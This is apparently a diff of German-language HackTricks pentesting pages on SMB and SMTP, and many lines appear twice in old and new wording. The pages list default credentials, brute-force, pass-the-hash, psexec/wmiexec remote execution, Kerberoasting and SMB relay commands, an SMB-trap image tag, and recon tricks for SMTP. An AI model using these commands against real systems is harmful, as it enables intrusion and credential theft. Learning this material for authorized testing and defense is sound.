Freigaben, die **willkürliche Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und sind von den lokalen Berechtigungen, die auf dem Server festgelegt sind, zu unterscheiden.
Freigaben, die **willkürliche Teile des lokalen Dateisystems** darstellen, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **fein abgestimmte Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und sind von den lokalen Berechtigungen, die auf dem Server festgelegt sind, zu unterscheiden.
### IPC$ Share
Zugriff auf die IPC$ Freigabe kann durch eine anonyme Nullsitzung erlangt werden, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig eingesetzt, ermöglicht es den Erwerb von:
Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von:
- Informationen über das Betriebssystem
- Details zur übergeordneten Domäne
- Eine Zusammenstellung lokaler Benutzer und Gruppen
- Informationen über verfügbare SMB-Freigaben
- Die effektive System-Sicherheitsrichtlinie
- Die effektive Systemsicherheitsrichtlinie
Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block) Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind.
Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block)-Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind.
```bash
enum4linux -a target_ip
```
@ -86,10 +86,10 @@ searchsploit microsoft smb
| _(leer)_ | _(leer)_ |
| gast | _(leer)_ |
| Administrator, admin | _(leer)_, passwort, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | passwort, test, lab, demo |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | passwort, test, lab, demo |
### Brute Force
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Manuell Windows-Freigaben auflisten und sich mit ihnen verbinden**
Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, zu versuchen, manuell eine Verbindung zu einer Freigabe herzustellen. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert.
Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, einen Versuch zu starten, sich manuell mit einer Freigabe zu verbinden. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert.
Häufige Freigabenamen für Windows-Ziele sind
@ -298,19 +298,19 @@ Befehle:
(_Informationen aus der Man-Seite von smbclient_)
### Suche nach freigegebenen Ordnern im Domänenbereich
### Suche nach freigegebenen Ordnern im Domänenkontext
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) Spinne.
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) Spider.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Besonders interessant sind von Freigaben die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über **Autologon** über Gruppenrichtlinien konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über **autologon** über Gruppenrichtlinien konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
> [!NOTE]
> Die **SYSVOL-Freigabe** ist für alle authentifizierten Benutzer in der Domäne **lesbar**. Dort können Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\
@ -318,7 +318,7 @@ Besonders interessant sind von Freigaben die Dateien **`Registry.xml`**, da sie
## Registrierung lesen
Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen:
Möglicherweise können Sie die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -326,7 +326,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** haben:
Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten:
| **Einstellung** | **Beschreibung** |
| --------------------------- | ------------------------------------------------------------------ |
@ -343,9 +343,9 @@ Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweis
Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**.
## Authentifizieren mit Kerberos
## Authentifizierung mit Kerberos
Sie können sich mit **Kerberos** mithilfe der Tools **smbclient** und **rpcclient** **authentifizieren**:
Sie können sich mit **Kerberos** authentifizieren, indem Sie die Tools **smbclient** und **rpcclient** verwenden:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** verwendet, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`:
crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** missbraucht, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`:
```bash
apt-get install crackmapexec
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Beide Optionen **erstellen einen neuen Dienst** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Zielmaschine und nutzen ihn, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente die Payload --**file-less technique-**- einfügen).\
Beide Optionen **erstellen einen neuen Dienst** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Zielmaschine und nutzen ihn, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente mit dem Payload --**file-less technique-**- versehen).\
**Mehr Informationen** über [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)und [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
```bash
@ -392,7 +392,7 @@ Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstelle von **NT
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Führen Sie heimlich eine Befehlszeile aus, ohne die Festplatte zu berühren oder einen neuen Dienst über DCOM über **Port 135** auszuführen.\
Führen Sie stealthy eine Befehlszeile aus, ohne die Festplatte zu berühren oder einen neuen Dienst über DCOM über **Port 135** auszuführen.\
In **Kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -419,21 +419,21 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce-Benutzeranmeldeinformationen**
## **Bruteforce-Benutzerdaten**
**Dies wird nicht empfohlen, da Sie ein Konto sperren könnten, wenn Sie die maximal erlaubte Anzahl an Versuchen überschreiten**
**Dies wird nicht empfohlen, Sie könnten ein Konto sperren, wenn Sie die maximal erlaubte Anzahl an Versuchen überschreiten**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB-Relay-Angriff
Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System**-**Shell** geleitet.\
Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System** **Shell** geleitet.\
[**Weitere Informationen zu diesem Angriff hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf einige Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
Dies geschieht mit den Funktionen:
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -4,7 +4,7 @@
## **Port 139**
Das _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft von dem Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen".
Das _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen".
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -18,13 +18,13 @@ Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TC
```
### SMB
Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert.
Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und somit die plattformübergreifende Kommunikation über SMB erleichtert.
Freigaben, die **willkürliche Teile des lokalen Dateisystems** darstellen, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und sind von den lokalen Berechtigungen, die auf dem Server festgelegt sind, zu unterscheiden.
### IPC$ Share
Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erlangt werden, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von:
Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von:
- Informationen über das Betriebssystem
- Details zur übergeordneten Domäne
@ -79,17 +79,17 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Mögliche** Anmeldeinformationen
### **Mögliche** Anmeldedaten
| **Benutzername(n)** | **Häufige Passwörter** |
| **Benutzername(n)** | **Häufige Passwörter** |
| -------------------- | ----------------------------------------- |
| _(leer)_ | _(leer)_ |
| gast | _(leer)_ |
| Administrator, admin | _(leer)_, passwort, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | passwort, test, lab, demo |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | passwort, test, lab, demo |
### Brute Force
@ -318,7 +318,7 @@ Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie
## Registrierung lesen
Möglicherweise können Sie die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen:
Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -326,24 +326,24 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
Die **Standardkonfiguration von** einem **Samba**-Server befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** haben:
Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten:
| **Einstellung** | **Beschreibung** |
| -------------------------- | ----------------------------------------------------------------- |
| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? |
| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? |
| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? |
| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? |
| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? |
| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? |
| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? |
| `logon script = script.sh`| Welches Skript muss beim Login des Benutzers ausgeführt werden? |
| `magic script = script.sh`| Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? |
| `magic output = script.out`| Wo muss die Ausgabe des magischen Skripts gespeichert werden? |
| **Einstellung** | **Beschreibung** |
| --------------------------- | ------------------------------------------------------------------ |
| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? |
| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? |
| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? |
| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? |
| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? |
| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? |
| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? |
| `logon script = script.sh` | Welches Skript muss beim Login des Benutzers ausgeführt werden? |
| `magic script = script.sh` | Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? |
| `magic output = script.out` | Wo muss die Ausgabe des magischen Skripts gespeichert werden? |
Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**.
## Authenticate using Kerberos
## Authentifizierung mit Kerberos
Sie können sich mit **Kerberos** authentifizieren, indem Sie die Tools **smbclient** und **rpcclient** verwenden:
```bash
@ -419,7 +419,7 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce-Benutzeranmeldeinformationen**
## **Bruteforce-Benutzerdaten**
**Dies wird nicht empfohlen, Sie könnten ein Konto sperren, wenn Sie die maximal erlaubte Anzahl an Versuchen überschreiten**
```bash
@ -433,7 +433,7 @@ Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzu
## SMB-Trap
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
Dies geschieht mit den Funktionen:
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION
```
### EMAIL-Header
Wenn Sie die Möglichkeit haben, **das Opfer dazu zu bringen, Ihnen eine E-Mail zu senden** (zum Beispiel über das Kontaktformular der Webseite), tun Sie dies, denn **Sie könnten über die interne Topologie** des Opfers lernen, indem Sie die Header der E-Mail ansehen.
Wenn Sie die Möglichkeit haben, **das Opfer dazu zu bringen, Ihnen eine E-Mail zu senden** (zum Beispiel über das Kontaktformular der Webseite), tun Sie dies, denn **Sie könnten über die internen Topologie** des Opfers lernen, indem Sie die Header der E-Mail ansehen.
Sie können auch eine E-Mail von einem SMTP-Server erhalten, indem Sie versuchen, **eine E-Mail an eine nicht existierende Adresse an diesen Server zu senden** (da der Server dem Angreifer eine NDN-E-Mail senden wird). Stellen Sie jedoch sicher, dass Sie die E-Mail von einer erlaubten Adresse senden (überprüfen Sie die SPF-Richtlinie) und dass Sie NDN-Nachrichten empfangen können.
@ -62,7 +62,7 @@ Oder **automatisieren** Sie dies mit dem **nmap**-Plugin `smtp-ntlm-info.nse`
### Interner Servername - Informationsoffenlegung
Einige SMTP-Server vervollständigen automatisch die Adresse eines Absenders, wenn der Befehl "MAIL FROM" ohne vollständige Adresse ausgegeben wird, und geben ihren internen Namen preis:
Einige SMTP-Server vervollständigen automatisch die Adresse eines Absenders, wenn der Befehl "MAIL FROM" ohne eine vollständige Adresse ausgegeben wird, und geben ihren internen Namen preis:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
@ -83,7 +83,7 @@ MAIL FROM: me
```
### Sniffing
Überprüfen Sie, ob Sie einige Passwörter aus den Paketen zu Port 25 sniffen.
Überprüfen Sie, ob Sie einige Passwörter aus den Paketen zu Port 25 schnüffeln.
### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users <IP>
```
## DSN-Berichte
**Zustellstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurücksendet**. Die **Header** der zurückgesendeten E-Mail werden mögliche **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antiviren-Software).
**Zustellstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurücksendet**. **Header** der zurückgesendeten E-Mail werden mögliche **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antiviren-Software).
## [Befehle](smtp-commands.md)
@ -235,9 +235,9 @@ Ein **vollständiger Leitfaden zu diesen Gegenmaßnahmen** ist verfügbar unter
> [!CAUTION]
> SPF [wurde 2014 "abgelehnt"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Das bedeutet, dass Sie anstelle der Erstellung eines **TXT-Datensatzes** in `_spf.domain.com` diesen in `domain.com` mit der **gleichen Syntax** erstellen.\
> Darüber hinaus ist es recht üblich, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden.
> Darüber hinaus ist es recht gängig, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden.
**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mail-Server abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/-Bereiche, Domains und andere Entitäten **enthält, die berechtigt sind, E-Mails im Namen eines Domainnamens zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Datensatz.
**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mailserver abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/Bereiche, Domains und andere Entitäten **enthält, die berechtigt sind, E-Mails im Namen eines Domainnamens zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Datensatz.
#### Mechanismen
@ -245,24 +245,24 @@ Von [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
| Mechanismus | Beschreibung |
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. |
| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. |
| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. |
| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. |
| IP4 | Wenn der Absender in einem bestimmten IPv4-Adressbereich ist, passt er. |
| IP6 | Wenn der Absender in einem bestimmten IPv6-Adressbereich ist, passt er. |
| MX | Wenn der Domainname einen MX-Datensatz hat, der auf die Adresse des Absenders aufgelöst wird, wird er übereinstimmen (d.h. die E-Mail kommt von einem der eingehenden Mail-Server der Domain). |
| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients im angegebenen Domainnamen ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte Reverse-DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. |
| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. |
| MX | Wenn der Domainname einen MX-Datensatz hat, der auf die Adresse des Absenders aufgelöst wird, wird er übereinstimmen (d.h. die E-Mail kommt von einem der eingehenden Mailserver der Domain). |
| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients in der angegebenen Domain ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte umgekehrte DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. |
| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. |
| INCLUDE | Verweist auf die Richtlinie einer anderen Domain. Wenn die Richtlinie dieser Domain besteht, besteht dieser Mechanismus. Wenn die eingeschlossene Richtlinie jedoch fehlschlägt, wird die Verarbeitung fortgesetzt. Um vollständig an die Richtlinie einer anderen Domain zu delegieren, muss die Umleitungs-Erweiterung verwendet werden. |
